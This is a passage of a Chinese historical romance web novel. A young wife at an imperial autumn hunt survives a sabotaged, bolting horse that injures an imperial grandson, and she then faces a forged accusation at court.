裴珉一身冰凉,在床榻处坐了会儿,她睡得熟,小脸红扑扑的,蜷缩在床榻最里面,给他留了很大的空位。 他看的出她的心思,可是不行,此处是行宫,他不好叫人熬药,便没有准备。 当她巧笑倩兮的朝他靠近,心里似有团火在燃烧,克制压抑,眉宇间冒出不少的细汗,可他始终未曾跨越过雷池一步。 冰凉的风靠近,姜秋姝更是朝里面移了移,裴珉不敢再动,替她好好的掩了掩被褥。 两人用早膳,很好的做到了食不言寝不语,姜秋姝默默吃着面前的粥,裴珉也未言语,只是往她一侧的碟子上夹了些菜。 直到用完膳,那菜依旧未曾动过,裴珉眸光轻轻的落在了那小碟上,并没有说什么。 裴珉被圣人传召,姜秋姝原是打算在行宫四处走走,正要出了八角门,便有宫女禀告说平乐公主有请。 “娘子,”关嬷嬷提醒道,“五郎说您劳累,今日要好好休憩。” 这话不过是遮掩,她懂关嬷嬷的意思,是让她少于李长宁来往。 “我省的,嬷嬷。”姜秋姝点头,却又在一刻钟后出了院子,来到了李长宁的宫殿。 关嬷嬷叹了好些气,娘子如今是惯会糊弄人,说一套做一套。 只是莫要对五郎这般,不利于夫妻间的感情。 “本宫还以为家有悍夫,师母不敢来了。”李长宁依靠在贵妃榻上,侧身撑住脑袋,笑道。 而她的脚步,两位相貌俊秀的男子正半跪在地,替她捶着腿。 李长宁指了指另一方的小榻,姜秋姝落了座,立刻有内侍上前想要替她按腿。 姜秋姝婉拒了,李长宁说她无趣,倒也没有勉强。 关嬷嬷瞧了眼那几位想要上前的内侍,当真长得英俊,猿臂蜂腰,这哪里是宫里的净身的太监。 这平乐公主当真是放荡不羁,难怪五郎不喜娘子与其来往。 “公主相邀为何事?”姜秋姝问道。 也是这时,李长宁起身,挥退了周遭的人,留了几名内侍,关嬷嬷离开房间时,多次回顾,却又不得不听李长宁的话。 这平乐公主生性放浪,若是将娘子带坏了如何是好! 关嬷嬷急的团团转,若是旁的她不担心,偏偏平乐公主还留下了那几名男子。 忽然关嬷嬷看着门口一道熟悉的声音。 “五郎,您来了。”关嬷嬷声音有些急切,也特意大了几分,想要里面的人听见。 第26章 第26章又来个小娘子 关嬷嬷站在外边儿,两侧是毕恭毕敬的宫女们。 她紧盯着房门,有宫女上前挡住了她的视线,她隔着人群望着最里面,这平乐公主可不是好相与的。 圣人嫡出的公主,自幼受尽宠爱,圣人更是亲自允了兵权,比起其他的公主,平乐公主有议政的权利。 不过平乐公主不喜这些折腾人的事儿,多是专注于玩乐。 娘子毕竟出自镇国公府,平乐公主虽然不敢动手,可她怕他将她家贤良淑德大的娘子给带坏了。 房门内,突然传来一阵巨响,关嬷嬷上前想要一探究竟,结果被宫女给挡了回去。 又过了会儿,房内喘息声加剧,是男子压在喉底的声音,关嬷嬷是过来人,她怎会不晓得这样的声音是如何来的。 可这些男子几乎没有忍耐,刻意的放纵着引诱人。 “娘子,可有事儿?”她忍不住问道。 “嬷嬷,我们公主在呢?你这话莫不是以为殿下照顾不好太傅夫人。按辈分来说,公主可喊太傅夫人一声师母,岂有不敬的道理,您与我们去偏殿喝喝茶,甭操心了。”李长宁身边伺候的奶嬷嬷笑着解释道。 然后又朝着旁边的宫女使了使眼色,宫女一拥而上环住关嬷嬷的胳膊,想要将她给带着。 “不必,不必。”关嬷嬷连连拒绝,“老奴在此等着娘子便好了。” 几人簇拥着几乎要离开宫殿,往院外去,忽的出现一道熟悉的声音。 是裴珉。 “五郎,您来了。”关嬷嬷声音比往常都要大些。 希望五郎莫要撞见些不能见的! 裴珉狐疑的看了关嬷嬷眼,“娘子呢?” 又看了看周围环顾的宫女和嬷嬷,等他往里走了几步,男子的喘息声清晰可闻。 他脸一下子黑了,雷霆大怒的推开了房门。 看着里面的一切,他几乎愣在原地。 “五郎,是殿下要将娘子留下的。”关嬷嬷赶了上来,解释道,当见了屋里的一切,亦是愣住了。 “成何体统!”裴珉的声音无法掩饰的恼怒。 房间里约莫五六名男子,没有穿上衣,汗水从额头往下滑落,脖颈处汗珠细碎随着口水吞咽,喉结上下滑动,汗珠又往下路过前胸继续溜走。 这几人的身量都是极好的,手臂随着动作上面肌肉蟠扎,腹部胸部后背结实,没有旁的不该长得肉,匀称的很。 他们此刻瞧见了裴珉,全都停下了动作。 略微比较高的男子抓住马球,放下杆子,看向了裴珉的方向。 姜秋姝看着门口的裴珉,很快做出震惊得到模样,“五郎,您来了。” “老师。”李长宁慢悠悠的从榻上起来,向裴珉行礼,又朝着那些男子道:“还愣着作甚,几日后的马球要是输了,本宫要你们好看。” 那几位男子继续打起马球来,动作间身体的曲线越发抓人眼眸。 “你们在做什么?”裴珉走过去,挡在姜秋姝的身前。 “每年秋狩都会有一场马球,本宫这是督促他们练习,太傅怎来了?”说话间,李长宁神色疑惑。 “室内练?还穿成这个模样,成何体统!”裴珉怒火未加掩饰,尤其是他进门时,瞧见姜秋姝的视线多次落在那些男子身上。 她都未曾见过他那般模样! “老师未免想多了,打马球男子袒露胸膛,穿成这个模样实属正常,看台上的女子欢呼雀跃,也从未避让过。本宫不过是叫他们在跟前多练练,怎在老师眼中不成体统?老师虽学识渊博,可多看百年前的旧书,可莫像些老学究般,只晓得遵循古礼。我大周昌盛繁荣,何须顾忌这个。” 李长宁难得瞧见裴珉那个模样,说着劝解的话,心里确实在暗暗嘲笑。 她又将视线移向了姜秋姝,姜秋姝几乎立刻就看清了李长宁眼里的意思,大致便是摊上这个老古板夫君,真是够她受得了。 姜秋姝依旧做低眉顺目的姿态,走到裴珉身边,“五郎,公主说的也并无道理。” 裴珉原就是气的,听了姜秋姝的话,更是犹如火上浇油。 他拉着她的手,直接出了房间。 李长宁看着他们身影,暗暗感叹裴珉的速度,来的未免也太快那些。 她还未将话说完呢!她将被书册挡住的纸一一整理,又放在盒子里。 “收好。”立刻有人上前,将盒子捧住。 “公主你瞧。”身侧‘内侍’指了指姜秋姝离开的地方。 李长宁捡起那个荷包,勾了勾唇角。 两人出了院子,身侧的裴珉一句话都不说,只是行走的速度快了不少,姜秋姝老老实实跟着,到后面,甚至需要小跑才能追上他的步伐。 “五郎,您慢些。” 姜秋姝忍住抱怨,声音柔柔道。 可那人依旧未放缓速度,姜秋姝抿了抿唇。 她也不是个傻的,裴珉如今正在气头上,何须触他的眉头,可为人妻,态度极为重要,便是装也要装出样子来。 于是又小跑了起来,只是故意放缓了速度,可前面儿的人忽然停了下来。 她也不好太明显,很快追上了他,她声音柔和甚至带着委屈,“五郎,您到底怎么了?” “我不止一次说过,莫要与平乐公主来往。”裴珉沉声道,目光里的不悦没有掩藏。 “可她是公主,天家之女相邀,妾身怎敢推辞。”姜秋姝目光胆怯的看着他。 “便是天家女又何妨,你是国公府的人,我的夫人。” 裴珉瞧见她的怯色,眼神落在他身上,又连忙移开,他深吸了口气,冷静下来晓得方才自己是太过小题大做。 她的眸光落到那些赤着上身的男子上,隐隐的赞叹,是在赞叹那些男子的威武?还只是单纯的喜?都足以叫他难忘,胸膛郁气闷在心口难以抒发。 分明他们才是夫妻,可却被旁的男子给比上了! 裴珉看着她,未将心底的话说出口,只是道:“你是我妻子,若是不愿意去,拒了便是。旁人奈你不得。” 又是这般狂悖之言,姜秋姝垂眸,分明是极为遵循规矩之人,注重礼仪,可骨子里学的却又不是什么忠君爱国,更多的是维护家族基业,让世家繁荣昌盛。 习礼法的严苛,只对自身的约束,却完全忽视了皇权,拥护家族利益。 他此刻的话,让她有些看不清他,矛盾至极。 “妾身省的。”姜秋姝点头,“只是妾身不愿给五郎惹麻烦,一丁点儿也不愿意。” 她垂眸,未叫他看清她的神色,在他面前她装的多,谎话也说得多,可起初她并不想那样的。 从成为定国公五夫人开始,她听从他的训诫,同他一般的尊礼,守规矩,几乎都快忘记她本来的面目。 原本的她,是可以脱了鞋,恣意在花丛中跑的。 “妾身希望五郎好,莫叫旁人抓住把柄。”她抬头,整理好所有思绪。 裴珉看着她认真的眸子,心脏处的跳动,比起方才要快了些,只是因为不愿意给他惹麻烦吗? 只是为了他? 三日后,全体休憩好,整装待发往猎场的方向,姜秋姝靠在马车上闭上双眸休养生息,好似那日后便极少瞧见裴珉。 便是入了夜,第二日她才从关嬷嬷的口中晓得裴珉回来过的事儿。 他这般早出晚归算来是常事,她没有多想。 猎场宽阔,在圣人的令下,将士们才开始安营扎寨,姜秋姝从未见过如此的盛况,在一侧看着。 最中间被众多人围住的便是圣人与圣后,两人并肩而立,神态威严,皇权的天然压力下,叫人不敢直视,隐隐避让。 圣人与圣后夫妻恩爱,后宫如同虚设,朝野盛传奏章有很大一部分,都是由圣后所批阅的。 两人共有一子一女,分别是三皇子和李长宁,按理说储君位毫无疑问,尤其是在圣后有这般大的权利之下,可在姜秋姝看来未必。 李长宁乃两人嫡女,都未必过的恣意,还得汲汲营营,百般谋划。 姜秋姝正想着,忽然一道视线过来,裴珉站在圣人与圣后身侧,他的风华未被遮挡,反倒是因那张俊朗的容颜,叫人移不开眼。 她对视上他的目光,却又察觉到他很快的望向了别处。 便是这般计较那日她瞧的那些个男子?裴珉果真是旧书读的太多了些。 姜秋姝也没再看那处,环顾四周后,发现不少人都停在裴珉的身上,在裴珉未曾成婚前洛阳不少的小娘子皆对他有爱慕之情。 她未瞧见过,多数是听裴秋月说多少人与她五叔相配,她又是如何的高攀不上。 姜秋姝转向左侧,忽然一道怨气的眼神落在她身上,她仔细辨别着人群中的人,那人也逐渐朝着她的方向走近。 是李九娘。 “姜娘子未曾来过这样的场合吧?”李九娘开口便充满了鄙夷,“如今也是登高望月了。” “九娘年纪轻轻可是记性不好?”姜秋姝疑惑地看着她。 “什么?”李九娘不解。 “我已成了婚,且辈分比你略高些,你可唤我裴夫人,或是裴叔母。”姜秋姝笑容浅浅,很是耐心的解释。 李九娘哼了声,“你配的上他吗?” 李九娘看向中间的裴珉,语气酸涩,“洛阳那么多的好女子,为何偏偏瞧上了你。” 即便姜秋姝生的貌美,可家世品行闺仪怎比得上世家培养多年的女子。 况且,她与他也就一步之遥,李九娘每每想起此事,便是怨恨,分明已经商定好了的,只差一步! 为何他忽然反悔! “九娘是在问我?此事儿该问的人应当是裴珉,”她道,“我自觉得我极好,裴珉怎看我,那是他的事儿。” 她厌倦了男女间,为何常被问起的是女子,就如她和裴珉,既然裴珉娶了她,那些不愿意承认这门婚事的人,只寻着她来问,为何不敢去问裴珉为何会娶她。 不过是她低,他高,地位不同罢了。 “你可知,裴珉本是要和我定亲的?”李九娘哪里想那么多,只是不甘极了。 姜秋姝蹙眉,这是何处又冒出个小娘子? 第27章 第27章撞上去 李九娘看出了姜秋姝的疑惑,心里又酸又涩,原来裴珉从未曾告诉过她。 “裴太傅传出与你的婚事前,家中曾给我们牵线,那时我从阿娘口中,隐隐听到裴太傅要应下这门婚事,可是不久裴太傅带来的不是大雁,而是无数补偿的礼品。” 李九娘想起以往,认真看向了姜秋姝,“因为你的缘故,他才拒了与我的婚事。” 姜秋姝还真未曾听过,只晓得与裴珉定过亲的郑小娘子。难怪刚到正明侯府,她便故意给她带错路。 “可你们辈分好似不对?”姜秋姝疑惑道。 没想到她话都到了此,她竟然还在纠结此事。 “与裴太傅待在一处久了,姜娘子怎也那般的古板?我与他并无血缘关系,我大周女子二嫁也不在少数,辈分怎可阻碍了家族间的联系。” “你既然晓得他性子沉闷,为何想要嫁给他?”姜秋姝又换了种问法。 李九娘看着她,她不是裴珉的妻子吗?怎抓不住她话中的点,“有何女子不想嫁他?家世不凡,相貌更是洛阳不少郎君都比不上的,即便守规矩些,可若我嫁给他,必叫他成为个知冷暖的夫婿。” 姜秋姝嘴角轻扯,她以往也是这样想的。 “李九娘,我方才便说过,此事该问的是裴珉。我非那个阻碍了他想法,叫他能够反悔之人。人之定论皆由己,万般因缘际会,大都是由心。若是有苦衷,也只该是自己才最清楚。”姜秋姝回答的极为认真。 “我怎问他!”李九娘恼羞成怒,“叫我一女子的面子往哪儿搁?” 难道她这一未婚女子,需得到裴珉面前逼婚,逼问他为何不娶她,岂不是会成为洛阳的笑话! “或者我帮你问?”姜秋姝这话说的过快,只是在瞧着李九娘红了眼眶,她下意识这般。 “哼!”李九娘白了她一眼,“你难道不是在耀武扬威!” “哟,九娘怎么了?我叔母到底经事儿少,你莫要生她的气。”裴秋月瞧见两人似在争吵,立刻赶了过来,虽然没听太多,但晓得两人必定是斗了气。 裴秋月想要拉起李九娘的手,结果李九娘挪开了。 裴秋月面上挂不住,“我好心帮你,你这是作甚?” 那日满月酒,李九娘晓得裴秋月与她阿兄相看过,可隔日便又传出与赵士远的谣言来,既然已经有心悦之人,又何必耍他们正明侯府中人。 一个裴珉一个裴秋月,李九娘眼神在此刻变得凶狠起来。 “不用你管!”瞪了姜秋姝和裴秋月后,李九娘直接离开了。 裴秋月向来是天之娇女,何曾被人给冷待过,尤其是直接被人给驳了面子。 “在外便记得五叔母的身份,莫丢了定国公的脸面。”裴秋月犹记的平乐公主派人将她扔到奴仆车中,她所受的屈辱。 “别以为平乐公主是真的护着你,前儿才传出你在平乐公主的殿中与她起了龃龉,气恼了五叔。五叔离开时,甚至都不想要理你,任由你在外边儿追。”裴秋月声音恶狠狠的。 当日她还当她攀附上了李长宁,谁料不过一日,便被李长宁赶出了宫殿,甚至还引起了五叔的不满。 “可二侄女,我是你叔母,无论如何见长辈,都该行礼问安的。”姜秋姝并没有被她吓到,反倒是笑盈盈的,“现下便重新补上吧,不然我告诉你五叔。” 搬出裴珉,裴秋月神色萎靡,她就是晓得即便姜秋姝不得五叔的喜欢,可在规矩大过于天的五叔眼中,只要姜秋姝是她的长辈,她便得对她卑躬屈膝。 她极不耐的看着她,还未有举动,身侧伺候的嬷嬷便碰了碰她的胳膊,这嬷嬷是裴珉特意寻来的,便是为了不叫她在秋狩惹出祸事来。 “五叔母安。”她咬紧牙关说出这几个字。 “不必多礼了侄女。”姜秋姝笑容大了几分。 “你别得意!”等郑姐姐回来,她等着瞧她痛哭流涕的模样。 裴秋月晓得在她这里讨不到好,立马离开了,走到了不远处赵士远身边述说着委屈。 姜秋姝看见赵士远的目光朝她往来,她只觉得恶心。 时辰差不多了,姜秋姝回了帐子,在关嬷嬷的帮助下换上了骑装,这件骑装极为贴身,关嬷嬷想了想又给她加上了件披风。 姜秋姝晓得关嬷嬷的意思,其实她是不在意的,身体发肤受之父母,她是阿娘与阿耶的掌心宝,即便长得再如何窈窕,都是福气。 可若是被裴珉瞧见了,怕又说她了,为了少麻烦姜秋姝便没有拒绝。 等出了帐子。 裴珉他们不晓得何时来到了她们身前,姜秋姝看了为首的两人连忙行礼。 “圣人,娘娘万安。” “这边是你夫人?”圣人和善的看向裴珉,“与你倒是般配。” 裴珉拱手,“谢圣人夸奖。” “倒也是一点儿不谦虚。”圣人笑看他,声音亲和,恍若待小辈般。 洛阳皆传,裴珉深受盛宠,如今看圣人的姿态,便晓得传言不假。 圣后赞叹了姜秋姝的不俗,后面又道:“好好的小娘子被你约束在府,少了丝活气。听闻洛阳许多世家都未曾瞧见过你的夫人,可别藏着掖着,也该带出去好好给她们瞧瞧。” “娘娘说的是,不过我的夫人自是要安稳内宅的,府中需要她处理的事儿极多。怕没那么多的空闲,自古以来便是男主外,女主内。”裴珉负手而立,不卑不亢的回道。 裴珉话落,周围有一瞬的安静,皆晓得圣后权势不算小,如今除开奏章过了她的手,前段时日圣人病重,圣后临朝。 即便只一次,也叫朝臣惊吓。 后面弹劾圣后干政道的朝臣不在少数,裴珉便是其一。 圣后脸上神情没有丝毫的变化,只是眼睫下沉了几分。 “娘娘,五郎的意思是妾身与他成婚不久,想叫妾身多在府中陪着他。”姜秋姝连忙解释道,将此事归于夫妻间的情趣。 圣后笑着看向她,“夫妻恩爱,自是日日都看不够的。我与圣人便是如此。” “朕自然想时刻与梓潼待在一处。”圣人笑着抓住圣人的手,“只不过那帮老腐朽怕又得胡言乱语了。” 姜秋姝不晓得这里的老腐朽是否有裴珉,只是裴珉当真是不喜女子干政啊! 秋狩即将开始,不少英杰蓄势待发,姜秋姝瞧着一旁的队伍,其中不乏女子,就她认识的不少。 李长宁,在正明侯府曾见过的赵三娘,以及李九娘。 还有不少红装,策马扬鞭,好不潇洒。 姜秋姝艳羡的看着这幕,关嬷嬷带着马夫迁来了匹马,“娘子不若试试。” 她本就有此意,来秋狩若是连骑马都不会,岂不是白来了,洛阳不远的郊外其实有马场,可她不好出府,只是空想,如今机会难得。 “娘子不必担心,这位女师傅骑射俱佳,也是五郎叫老奴安排的。”关嬷嬷低声靠近姜秋姝,趁机说着裴珉的好话。 她看了眼不远处的裴珉,骑在马上,身侧有三位男子,其中一位她曾见过李府的郎君李明澈,还有的便是三皇子和四皇子。 虽未见过,但她略知晓一二。 三皇子李长宁兄长,文武皆备,朝中不少大臣极为推崇,四皇子约莫十六七岁的模样,少年郎君,神采飞逸,乃是三皇子一党。 姜秋姝在女师傅的搀扶下,骑上了马背,而后女师傅也迅速踩着马鞍上了马,从她的腰后带着她拉住缰绳。 这是她从未有过的高度,并不叫人恐惧,甚至隐隐的胸腔处升起的开阔之感,叫人想要立刻策马奔腾。 可惜她该扬鞭,也敢摔下去。 女师傅怀抱住姜秋姝,握住她手时,动作迟钝了些,姜秋姝也察觉到不对,“怎么了?” 女师傅只觉得香风扑面,脸莫名红了,很快镇定自若的给姜秋姝讲解着如何骑马,甚至还带着她在马上跑了圈。 两人就这么走了段距离,忽然一匹白马跑了过来,约莫八九岁的孩子,不满的瞧着她们,“这匹胭脂红不该是给本皇孙的吗?” 姜秋姝不识的此人,倒是女师傅很快下马俯身道,“殿下,此马是马厩那边迁来的。” “好吧!”一听到太傅,那孩子只能垂涎的望着这匹胭脂红,只能惋惜道,“那便让给师祖母吧!” 无人瞧见两匹马儿头抵头,亲昵的靠了会儿。 师祖母?姜秋姝听到这么大的头衔有些苦笑不得,她连孩儿都没有,如今却成为祖辈,有了孙儿了。 经女师傅的话,她晓得此人乃是二皇子的长子,也是圣人第一个皇孙。 半日后,姜秋姝已经很好的驾驭这匹马,只不过凭她的能力还不大能如旁人般驰骋随意。 一旁的人皆面露欣赏之色,女子美便是了,策马时披风飘扬,多有飘逸之感,恍若天仙临世。 这里有人瞧着,便有人不悦。 “师母真是聪慧,不过半日便学会了骑马。”三皇子察觉到裴珉的情绪起伏,连忙道。 “老师怎不亲自叫师母骑马?”四皇子眉宇间不解,“老师的骑术可比那女师傅还好。夫妻间亲近些也不会有旁人说的。” 怕就是怕太亲近,裴珉捏住缰绳,看着女师傅环过她的腰肢,眼底侵着墨,很不悦,可他又无法亲自去教她。 他怕他忍不住。 姜秋姝看着不远处,裴珉视线落在她身上,平静的潭水恍如降了道雨,雨越大,潭水被上下敲击,起伏汹涌。 她眉宇微蹙,刚要改变方向,离他们远些。 “骑术这般差,也好意思来秋狩。”李九娘不晓得何事来了她的身侧,见姜秋姝散步般的模样,啧了声,朝着马儿甩了鞭子。 “裴叔母,侄女儿帮你一把!”李九娘笑道。 原本还好好的,马儿忽然受惊了,嘶叫后迅速飞奔起来,姜秋姝差点儿被甩下马,她努力抓住缰绳。 见姜秋姝狼狈,李九娘笑的更加的畅快,也越看她脸上的笑意归于平淡,反而换上惊恐的模样。 姜秋姝原本抓住缰绳,还能控制住马儿,就在她以为要稳住马儿时,马儿嘶吼了声,跑的越发的快,缰绳断裂,她身子隐约往后倒去。 这样的高度和速度一倒下去,即便不被马儿踩踏,也会被摔死,她咬了咬牙,努力夹紧腿,抓住马儿的鬃毛。 马儿似乎感受到了疼,更加疯狂的奔跑,四蹄跳蹿想要将她甩下去。 她抓的紧,身体往马背俯下去,尽量减轻颠簸,死死的拽住马儿。 那一刻,她想了许多,窗边的那颗洛阳红,阿娘阿耶还有裴珉,她不能死,大腿内侧被磨得生疼,十指用力抓紧,指甲几乎要劈掉。 马儿绕了圈,往左侧奔跑去,一匹白马朝着她的方向奔来,方才那个八九岁的孩子也如她般紧紧的抓住马儿,他神情惊恐。 两匹马儿就这般撞了上去。 第28章 第28章诬陷 姜秋姝掌心鲜血直流,落在马鬃毛上留下一道血痕。她咬着牙,痛的身体似乎都不是自己的了,前面大皇孙的马,往她的方向跑来,她惊惧道:“闪开!” 她大声地驱逐着,可对面的人似乎并没有听见,马儿依旧朝着她的方向而来,跑的并不快,可她身下的马是失控的。 两两相撞必定出事儿。 她刚学会骑马,技艺方面比不过那些常年泡在马场中的人,只要对面的人躲开,便能无事。 她再次大声呼唤起来,可那匹白马依旧没有绕开的意思,反而比方才要快了些。 这里的声响惊动了不少人,一直注视着姜秋姝的裴珉,立刻扬鞭,在三皇子和四皇子还未察觉到异样的时候,奔驰而去。 他瞳孔放大,惊惧笼罩着,头一次心跳的这般的快,恍若要从胸膛中跳脱而出! 他害怕她受伤,或者更危险的。 姜秋姝还在驱赶着对面那匹马,马背上的是大皇孙,她脑中此刻有许多杂念,可皆是他不能在她手里出事! 她竭力的抓住鬃毛,单手从发髻中取出簪子,身体微微后,仰险些要摔倒,裴珉瞧见这幕更是目眦具裂,心神俱伤,只差一点儿,快些,他鞭子挥动的速度快的几乎要瞧不见。 姜秋姝用簪子插在马脖颈处,几乎是与大皇孙的马儿擦过,她呼了口气,可大皇孙就在她面前摔了下去。 那胭脂红又调转马头,朝着大皇孙的方向,大皇孙忍着痛,仰头时蹄子下落的方向正对着他,直接晕了过去。 这一幕惊险极了,不少的娘子皆吓得闭上了双眼。 亦有人连忙去喊马场周围的侍卫。 姜秋姝勉力拉鬃毛的另一侧,取出插在肉里的簪子,再次狠狠的朝着马儿扎去。马儿嘶吼的更加的厉害,好在直接从大皇孙身上跨了过去。 姜秋姝松了口气,到了现在,她基本上泄了力,头晕眼花,抓住鬃毛的手发着软,她最后闭上了眼,身体朝后仰去…… 睁眼时,一张熟悉的脸出现在她面前,是……裴珉。 “叔母,您没事儿吧!”裴承紧张的看着姜秋姝,他手脚都在发软,当她从马背上坠下,慌张的简直不能自已,他庆幸他接住了她。 “把她给我。”裴珉到时,胸膛喘着粗气,伸出的那只手发着抖,连他自己都未曾意识到。 裴承抬头,当裴珉将人接过去时,他手并没有放松,只是瞧着怀中的人,再看了看裴珉。 “给我!”裴珉声音比方才阴沉了些,裴承才松了手。 裴珉抱着姜秋姝,她脸色惨白,原本俏生生的脸上只有疲惫,掌心一条血痕,血还在留着,裴珉拿出手帕,立刻给她包扎好,想要将姜秋姝抱上马,往太医帐属奔去。 “等等。” 忽然姜秋姝抓住了裴珉的胳膊,她声音极为虚弱,可还是朝着那马儿的方向指了指。 侍卫一拥而上早就将马斩杀,许多人其中鱼龙混杂的,怕幕后之人想要毁尸灭迹。 说完话,姜秋姝又昏睡了过去。 裴承怀中一时间空落落的,只是低着头,等众人将大皇孙也送过去,他才反应过来。 方才险峻的一幕,深深留在他脑子里,女子即便落入险地,发丝飘扬,那双眸子坚韧。 那双透亮的眸子,能够抓住任何人的心弦。 太医一下子接了两位贵重的人,皆敛容屏气,不敢疏忽。 姜秋姝的手被掰开,药粉撒上去时,她嘶了声,一直在身侧的裴珉立刻朝着太医看了过去。 太医战战兢兢,皆说裴太傅是个温和性子,只不过是行为严苛了些,可方才那一眼像是浸入寒冰中叫他发憷。 “太傅,您不必忧心,夫人不过是皮外伤,养几日就好了。”太医劝慰道,过了会儿又开口,“只是夫人腿上的伤?不若唤了医女来。” 亵裤被剪开,**擦伤明显,隐隐泛着青肿,医女小心翼翼的上了药,抬头用余光瞟了眼裴珉。 他低头轻声安慰着怀中人,语气难得的柔和,眼中疼惜溢出来。 又将视线落到了姜秋姝身上,恍若璧人的一对,当真是相配的紧。 医女上完药便起身告辞,他让她靠在怀中,她嘴里一直嘟囔着,他俯身听见了她轻声喊着疼。 裴珉手足无措,他不晓得该如何去碰她,害怕让她更疼,只能叫她依靠着生怕碰到了她疼的地方,“如何止疼!” 太医走近帐子,见裴珉眉宇凝结,丝毫没有舒展,说话声音都小了不少。 “不若下官开些安神汤给夫人?”太医提议道。 真是怕了,与裴珉站在一处,他腿都是软的。 这边处理好,大皇孙那边就严重了些,八九岁年纪的孩子从马背上摔下来,将腿给摔断了,二皇子听闻了这个消息,马不停蹄的赶了过来。 太医头顶的汗一茬又一茬,应付完裴太傅,又得面对二皇子。 “多久会好?”二皇子急切的抓住太医问道。 “大皇孙年轻,许长长便好了,许”。后面的太医不敢说,大皇孙备受宠爱,若是瘸了,怕上头底下都逃不过。 二皇子如何听不懂太医的言外之意,这是他最出色的长子,即便只是妾室所生,却也是所有皇子中第一个孙辈。 也是因为这个孩子的诞生,他从父皇哪儿得到了不少的笑脸,有了子嗣传承,他在皇子间也多得了大臣的支持。 如今他最为骄傲的孩子,腿摔坏了! 他咬着牙怒火几乎将他淹没,从窗边取了剑,冲了出去。 仆从怕出了事儿,连忙去追,“殿下。” 当来到姜秋姝的帐子,裴珉察觉到视线,看了过去,眸光多注意到二皇子手中将要出鞘的那把剑。 “老师,她害的我孩儿断了腿!”二皇子取出剑,插中香几,藏不住的阴戾。 “不过是意外。”裴珉将怀中人抱得紧了些。 他只是小心的抱住怀中的人,身后的护卫握住腰间的刀剑,蓄势待发,他不允许旁人在他眼前伤了他夫人。 即便是天潢贵胄都不行。 “我要她偿还。”二皇子眼中阴翳翻涌,将香几推到在地,上面的香炉倒塌。落了一地的香灰,“定国公府该给我个交代。” 二皇子如今理智全无,他废了多少心血教养的孩子,即便八岁的年纪,文韬武略又善于朝堂之事,无法想象长大后该是如何的大放异彩。 即便他只有一子,却能胜过旁人家数人。 如今什么都没了,他要姜秋姝用命偿还。 此时,姜秋姝眼皮动了动,她艰难想要坐起上半身,怀中人将她抱得紧,似乎并未察觉到她的挣扎。 裴珉怀中温热的气息,将她包围住,也挡住了一切的危险。 二皇子走近取出剑,几乎蓄势待发,门口忽然传来响动,“住手!” 圣人与圣后听闻消息,便赶来了。 一群人围了过来,裴珉的护卫收回了刀剑,二皇子却不放手,依旧牢牢的抓住,眉眼猩红,即将要癫狂的模样。 圣人朝侍卫颔首,便有人上前要收缴了二皇子的剑,二皇子不松手,圣人岂能看旁人在他面前这般的越矩。 二皇子眼中戚戚,不放手,他什么都完了!如今只想要报仇,在他即将奋起时,圣人勃然大怒,“放肆。” 立刻派人将二皇子拿下。 几人坐毕后,圣人和圣后才看向了姜秋姝的方向。 “裴夫人有何话要说。”圣人极力压制着怒火,“此事皆有你而起,大皇孙乃身份贵重,因你毁了。” “你去休息,我帮你。”裴珉抓住她的手腕,瞧着她虚弱的模样,心里像是被针扎了般。 “不必。”姜秋姝摇头,她的清白,她自己来,况且无人比她更晓得那时发生了什么。 “圣人,大皇孙之伤非臣妇而起,”她声音透露着虚弱,却依旧坚持着。 “那么多人瞧着,还能诬陷与你!”圣人声音威严,“夫妻一体,裴珉乃是朝中肱骨,朕不忍心罚他,你觉得自己配得上裴珉吗?不若离了定国公府,去庵中为大皇孙祈福!” 配?这个字她从许多人口中都听到过,如今从这天底下最尊贵的人口中听到,便是下了定论。 日后在任何人眼中,她都是配不上裴珉的。 姜秋姝紧了紧手,身上的痛暂且被郁气压制住。 “圣人何不听裴夫人解释解释。”圣后看了眼圣人,“本宫瞧着裴夫人非那般鲁莽的人。” 李长宁站在圣人圣后身侧,却并未轻易开口,只眸间一闪而过的担忧。 圣人没答话,底下人说大皇孙腿废了,日后行走都艰难,这是他疼爱过的孩子,他无奈摆了摆手。 圣后一瞧便晓得圣人不反对,连忙朝姜秋姝示意,让她说清楚。 “臣妇所骑的马发了狂,本是要制止住,可缰绳却断了,”姜秋姝回忆着马背上发生的事,“分明与大皇孙的马擦过,远远瞧着是撞上,实则并未碰到过,那马却特意转身,想要踩踏在大皇孙身上。” “荒谬,难道你的马邪性的很,非要追着我儿!”二皇子根本不相信姜秋姝所言。 “臣妇所言不虚。”她朝着一直隐在身后的锦绣点头,锦绣立刻走上前。 姜秋姝将缰绳断口处呈到众人面前,他们仔细瞧了瞧,也并未看出什么稀奇的。 圣人叫人上前来检查,那人仔仔细细看了看,“回圣人,并无异常。” 所有人的目光此刻都看向了姜秋姝,既然无异常便是她为了脱罪信口雌黄了。 姜秋姝并未着急。 她又唤了两位侍卫,让他们用力拉扯着缰绳,那缰绳又断开了。 众人吃惊,马场的缰绳都是特质的,异常牢固,怎可能被人一拉便断?若非姜秋姝说出来,他们也不会差的这么细致,最多是看断口处是否平整,被人动过手脚。 那缰绳算牢固,可只比单股的麻绳要牢固一些,骑马并无问题,可当马儿发狂,却能将其振断。 这也是姜秋姝迷迷糊糊中,也要让裴珉停下,将东西收拾好的缘故,幕后之人并不简单。 第29章 第29章陷害 “圣人娘娘,马喂养在马厩中,由监牧使负责饲养及训练,臣妇请求招来一问。马匹出了事儿,非臣妇骑术不精,重在马匹上。”姜秋姝拱手施礼,被白布包裹的手掌相触,疼痛一时间往心里钻去。 这是一场密谋,不是因她而起,她无权又无势,而是她背后的裴珉,定国公府。只因她是女子,且本身并无权势只是依附的弱者,那些手段才敢使在她身上。 “裴夫人,事发后圣人便提了监牧使的人。”有公公在一旁提醒,可脸色并不好,“可监牧使自知监管不力,留血书一封,言那匹胭脂红本是派给大皇孙的,却被您仗着定国公五夫人的身份给抢夺了,便自尽了。” 这是要给定国公府扣上藐视皇权的帽子? 姜秋姝甚至见都未曾见过那个监牧使,便被扣上这么大一顶帽子。她扯了扯唇角,看着人群中落在她身上的目光从同情变成了鄙夷。 以生为代价的揭露,再加上血书陈情,多叫人信服。 “死人的话便可信吗?有人拿把刀逼着他写下血书,事后再将其伪造成自杀的模样,也不无可能!”裴珉眼中看着姜秋姝尽是担忧,尤其在看向她的伤口时。 “裴大人,事发后行策军便去调查了,确认无误。”公公解释道。 谁人不知晓明策军是陛下的私卫,可监察百官,所查之事无一有过纰漏。 若非查清了所有的事,圣人也不至于这般的恼怒。 